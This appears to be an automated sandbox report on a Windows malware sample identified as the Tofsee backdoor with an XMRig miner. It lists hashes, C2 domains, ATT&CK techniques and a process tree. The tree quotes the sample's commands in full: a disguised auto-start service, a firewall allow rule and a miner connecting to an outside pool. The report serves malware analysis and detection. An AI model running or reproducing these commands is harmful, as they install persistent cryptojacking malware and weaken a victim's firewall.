Analysis

  • max time kernel
    154s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    15-06-2022 04:30

General

  • Target

    03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47.exe

  • Size

    249KB

  • MD5

    485a4b456f85b2358376f40d0e612604

  • SHA1

    c308ec8d43b07f7b82b5a345aa9dd8aaf9e6b491

  • SHA256

    03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47

  • SHA512

    ab97f49409c23ef6029961607eab08c22bc3ff62098836092f0fd7cceb83754cad574fdd88e7f9cdd7424481c98ae0b31df6db7af342fe65bbdd05b07f807a99

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47.exe
    "C:\Users\Admin\AppData\Local\Temp\03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4076
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\puvbowli\
      2⤵
        PID:4368
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pjuwjdlk.exe" C:\Windows\SysWOW64\puvbowli\
        2⤵
          PID:4628
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create puvbowli binPath= "C:\Windows\SysWOW64\puvbowli\pjuwjdlk.exe /d\"C:\Users\Admin\AppData\Local\Temp\03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:448
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description puvbowli "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4140
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start puvbowli
          2⤵
          • Launches sc.exe
          PID:2560
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:840
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4076 -s 1040
          2⤵
          • Program crash
          PID:3568
      • C:\Windows\SysWOW64\puvbowli\pjuwjdlk.exe
        C:\Windows\SysWOW64\puvbowli\pjuwjdlk.exe /d"C:\Users\Admin\AppData\Local\Temp\03e6d3293b743be9412424bad439c66b843932541f1974c9bdf55486919c4c47.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3828
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1644
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1660
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3828 -s 524
          2⤵
          • Program crash
          PID:3532
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3828 -ip 3828
        1⤵
          PID:2840
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4076 -ip 4076
          1⤵
            PID:396
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k netsvcs -p
            1⤵
            • Drops file in System32 directory
            • Checks processor information in registry
            • Enumerates system info in registry
            PID:5052

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          3
          T1012

          System Information Discovery

          4
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pjuwjdlk.exe
            Filesize

            13.3MB

            MD5

            3ab639c8abaa0924fcf02e407ee05581

            SHA1

            e8fb2480578b1227e1d894e751caccea8124e1ae

            SHA256

            7a6168b6cbf61abc233245f824ffc00d1c41dff27b0f04ee32f18cdc6caa908d

            SHA512

            d1908676bfd0219126c3c6fb947e5a3ed81d1ee9bd6c3c07fd31ef1784c4d273dc48fa96266a1c4bff694b3a28a8b69d12efc169ad28743bf1902a9a2457cf26

          • C:\Windows\SysWOW64\puvbowli\pjuwjdlk.exe
            Filesize

            13.3MB

            MD5

            3ab639c8abaa0924fcf02e407ee05581

            SHA1

            e8fb2480578b1227e1d894e751caccea8124e1ae

            SHA256

            7a6168b6cbf61abc233245f824ffc00d1c41dff27b0f04ee32f18cdc6caa908d

            SHA512

            d1908676bfd0219126c3c6fb947e5a3ed81d1ee9bd6c3c07fd31ef1784c4d273dc48fa96266a1c4bff694b3a28a8b69d12efc169ad28743bf1902a9a2457cf26

          • memory/448-136-0x0000000000000000-mapping.dmp
          • memory/840-142-0x0000000000000000-mapping.dmp
          • memory/1644-155-0x0000000003410000-0x0000000003416000-memory.dmp
            Filesize

            24KB

          • memory/1644-144-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/1644-151-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/1644-152-0x0000000003200000-0x000000000340F000-memory.dmp
            Filesize

            2.1MB

          • memory/1644-158-0x0000000003420000-0x0000000003430000-memory.dmp
            Filesize

            64KB

          • memory/1644-150-0x0000000000F90000-0x0000000000FA5000-memory.dmp
            Filesize

            84KB

          • memory/1644-167-0x00000000077E0000-0x00000000077E7000-memory.dmp
            Filesize

            28KB

          • memory/1644-164-0x0000000008140000-0x000000000854B000-memory.dmp
            Filesize

            4.0MB

          • memory/1644-161-0x00000000035F0000-0x00000000035F5000-memory.dmp
            Filesize

            20KB

          • memory/1644-143-0x0000000000000000-mapping.dmp
          • memory/1660-170-0x0000000000000000-mapping.dmp
          • memory/1660-171-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/1660-176-0x0000000000A00000-0x0000000000AF1000-memory.dmp
            Filesize

            964KB

          • memory/2560-138-0x0000000000000000-mapping.dmp
          • memory/3828-149-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/3828-148-0x000000000097A000-0x0000000000988000-memory.dmp
            Filesize

            56KB

          • memory/4076-130-0x00000000008ED000-0x00000000008FB000-memory.dmp
            Filesize

            56KB

          • memory/4076-147-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4076-131-0x00000000008B0000-0x00000000008C3000-memory.dmp
            Filesize

            76KB

          • memory/4076-132-0x0000000000400000-0x000000000065A000-memory.dmp
            Filesize

            2.4MB

          • memory/4076-140-0x00000000008B0000-0x00000000008C3000-memory.dmp
            Filesize

            76KB

          • memory/4076-139-0x00000000008ED000-0x00000000008FB000-memory.dmp
            Filesize

            56KB

          • memory/4140-137-0x0000000000000000-mapping.dmp
          • memory/4368-133-0x0000000000000000-mapping.dmp
          • memory/4628-134-0x0000000000000000-mapping.dmp